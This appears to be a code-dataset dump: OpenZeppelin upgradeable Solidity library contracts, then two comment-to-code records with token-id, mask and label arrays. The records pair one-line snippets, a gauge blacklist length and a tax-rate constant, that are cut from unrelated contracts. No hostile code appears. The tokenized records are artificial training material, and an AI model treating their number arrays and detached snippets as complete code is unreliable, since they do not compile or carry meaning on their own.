onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Check that the execution is not being performed through a delegate call. This allows a function to be * callable on the implementing contract but not through proxies. */ modifier notDelegated() { require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall"); _; } /** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier. */ function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return _IMPLEMENTATION_SLOT; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822ProxiableUpgradeable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS( address newImplementation, bytes memory data, bool forceCall ) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
factor out the gauge specific blacklisted addresses
uint gaugeLength = blacklistedGaugeAddresses[_gauge].length;
110,179
[ 1, 6812, 596, 326, 13335, 2923, 25350, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 13335, 1782, 273, 25350, 18941, 7148, 63, 67, 75, 8305, 8009, 2469, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFAB2EAf300599051bFdEA46239aFcf77349105Ab/sources/feesaver.sol
Represents 1% as we'll divide by 10000
uint256 public _taxRate = 100;
9,628,209
[ 1, 23869, 87, 404, 9, 487, 732, 5614, 12326, 635, 12619, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
